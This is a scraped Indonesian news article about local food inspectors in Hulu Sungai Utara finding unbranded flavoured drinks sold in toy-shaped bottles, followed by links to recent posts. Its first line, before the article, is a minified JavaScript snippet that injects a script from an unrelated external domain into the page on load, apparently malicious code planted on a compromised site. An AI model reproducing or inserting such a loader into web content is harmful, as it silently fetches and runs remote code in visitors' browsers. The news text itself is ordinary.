(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BPOM Temukan Minuman Diduga Berbahaya Tanpa Merk Berbentuk Mainan Anak


AMUNTAI, Badan Pengawas Obat dan Makanan (BPOM) Kabupaten Hulu Sungai Utara (HSU) menemukan sejumlah minuman kemasan mainan anak tanpa merk yang diduga mengandung zat berbahaya.

Temuan tersebut terjadi saat petugas BPOM HSU melakukan sidak di sejumlah toko distributor makanan minuman dan bahan pangan di pasar Alabio, Kecamantan Sungai Pandan, bersama dengan Dinas Kesehatan dan Disperindagkop HSU, Selasa (17/12).

Hal ini juga dilakukan setelah sehari sebelumnya menggelar kegiatan serupa di kota Amuntai, sebagai intensifikasi pengawasan pangan menjelang Natal dan Tahun Baru.

Berdasarkan hasil temuan di dua toko berbeda, setidaknya total sebanyak 22 pak berisi 30 botol dan 13 pak berisi 20 botol minum cair berperisa tanpa merk yang dikemas dalam botol plastik berbentuk mainan anak.

Meski dikhawatirkan mengandung zat berbahaya, namun masih mencantumkan nomor label BPOM pusat, petugas tidak menyita produk minuman tersebut.

“Soal ini kita laporkan ke pusat mas, sebenarnya produk tersebut terdaftar di BPOM pusat, tetapi tidak memenuhi ketentuan terkait labelnya. Jadi biasanya dari pusat akan membuat surat peringatan ke sarana produksinya terkait label yang tidak memenuhi ketentuan tersebut,” jelas salah seorang petugas BPOM HSU Merliana Isti Rahayu kepada kanalkalimantan.com.

Sedangkan temuan produk tanpa merk, Merliana menyebut kebanyakannya merupakan produk P-IRT (Pangan Industri Rumah Tangga), sehingga langsung diberikan pembinaan dari Dinas Kesehatan ke pemilik sarana untuk dapat menyampaikan ke produsen agar segera mengurus produk tanpa merk ke dinas kesehatan agar mendapatkan izin edar P-IRT.

Hal serupa juga diungkapkan Arbiansyah, yang mengakui operasi kali ini tidak disertai penyitaan akan tetapi lebih kepada pembinaan agar para pedagang khususnya toko-toko di wilayah HSU dapat lebih selektif memilih produk makanan minuman yang patut dijual.

“Kami berusaha memberikan pembinaan agar melindungi konsumen maupun para pedagang, agar tidak disalahkan apabila terjadi sesuatu kemudian hari,” ungkap Kasi Kemetrologian dan Pengawasan Perdagangan Disperindagkop HSU ini.

Selain mendapati sejumlah minuman berperisa tanpa merk, petugas juga menemukan sejumlah produk makanan minuman dan bahan pangan yang kemasannya rusak, dan expired atau kedaluwarsa. (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

3 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

3 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

3 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

8 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

11 jam ago

This website uses cookies.